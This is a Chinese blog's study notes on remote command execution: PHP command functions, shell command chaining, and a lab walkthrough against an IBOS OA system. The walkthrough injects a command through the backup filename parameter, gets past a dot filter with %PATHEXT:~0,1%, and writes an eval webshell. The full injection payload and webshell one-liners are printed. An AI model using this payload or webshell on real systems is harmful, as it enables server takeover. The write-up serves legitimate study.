愿浪飒精神伴你左右,网络安全之路任重而道远。

RCE(Remote Command Execution)命令执行

Web渗透学习笔记 langsa 3年前 (2022-01-20) 720次浏览 0个评论

什么是命令执行

用户输入的数据被当做系统命令进行执行

命令执行的一句话木马

<?php system('whoami')?>

RCE代码执行讲过代码执行和命令执行的区别,本次着重阐述命令执行的细节。而且代码执行的情况下,可以调用命令执行的函数,所以大部分代码执行都可以调用系统命令。

linux命令:Bash

windows命令:cmd

单行执行多条命令


命令执行的小知识

1.通过命令来写文件的操作,将一句话木马写到文件1.php中去。

echo “<?php @eval($_REQUEST[8])?>” >1.php

2.单行执行多条命令用&或者&&

eg:whoami&ipconfig


shell学习笔记(1)Linux下在一行执行多条命令

要实现在一行执行多条Linux命令,分三种情况:

1、&&

举例:

lpr /tmp/t2 && rm /tmp/t2

第2条命令只有在第1条命令成功执行之后才执行。当&&前的命令“lpr /tmp/t2”成功执行后"rm /tmp/t2"才执行,根据命令产生的退出码判断是否执行成功(0成功,非0失败)。

2、||

举例:

cp /tmp/t2 /tmp/t2.bak || rm /tmp/t2

只有||前的命令“cp /tmp/t2 /tmp/t2.bak”执行不成功(产生了一个非0的退出码)时,才执行后面的命令。

3、;

举例:

cp /tmp/t2 /tmp/t2.bak; echo "hello world"

顺序执行多条命令,当;号前的命令执行完(不管是否执行成功),才执行;后的命令。


常见造成命令执行的PHP函数

system()

  • PHP会操纵计算机执行命令,且输出并返回结果。
  • 无需输出,自动返回结果。
  • 允许单行执行多条命令。当单行执行多条命令时,前面的命令出错,后面则不会执行。

exec()

  • PHP会去操纵计算机执行系统命令,获取最后一行。
  • 无回显,需要输出(echo)。
  • 允许单行执行多条命令。当单行执行多条命令时,前面的命令出错,后面则不会执行。

shell_exec()

  • PHP会去操纵计算机执行系统命令,且获取所有数据。(exec升级版)

  • 无回显,需要输出(echo)。

  • 允许单行执行多条命令。当单行执行多条命令时,前面的命令出错,后面则不会执行。

  • 可以简写为两个反引号

    eg:

    whoami  等价于 shell_exec('whoami')

passthru()

  • 在渗透测试中,几乎与system特点一样

popen(命令,参数)

  • 参数 r:只读。w:写入。

  • eg:

    $a = popen('whoami','r');
    echo foread($a,1024)
    //返回一个文件指针,需要用fread去读取返回值。

靶场实战


靶场所需小知识:

①windows下环境下点(.)被过滤,可以用%pathext:~0,1%代替。

这是因为windows默认环境变量中自带点,通过特殊方法将其切割出来,并利用。

image-20220120175601432

参考:命令执行绕过https://bbs.zkaq.cn/t/4557.html

②mysqldump 是 MySQL 自带的逻辑备份工具

mysqldump [选项] 数据库名 [表名] > 备份脚本名
eg:mysqldump -uroot -proot --all-databases > all.sql


靶场是IBOS OA系统,下面直接进行代码审计

1.在全局搜索中找到两处使用shell_exec()函数的地方

image-20220120235218759

2.第一处的可控参数貌似利用不了

image-20220120235820578

image-20220120235857323

3.第二个的dumpFile是由backupFileName决定image-20220121000042444

image-20220121000134482

4.backupFileName由filename决定,并且过滤了/,\\,.,'。filename由REQUEST传参所决定image-20220121000353829

image-20220121000601288

5.进入靶场找到备份数据库的功能模块。

image-20220121001039581

6.抓包看下具体传参,通过构造命令拼接,生成文件的同时写入木马,从而控制服务器。

image-20220121001457090

7.由于过滤点(.),这时候小知识就派上用场了,将其替换为%PATHEXT:~0,1%

&符号在数据包会被认为是参数分隔符,所以需要url编码,构造exp如下:

filename=219911%26echo+"<?php eval($_REQUEST[8])?>">langsa%PATHEXT:~0,1%php%26langsa

8.抓包,改包,执行。

image-20220121002146885

9.木马写入成功,服务器到手。

image-20220121002559221


本文标题:RCE(Remote Command Execution)命令执行
本文链接:https://blog.langsasec.cn/index.php/2022/01/21/rce2/
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
喜欢 (2)
[]
分享 (0)
langsa
关于作者:
一个网络安全从业人员
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址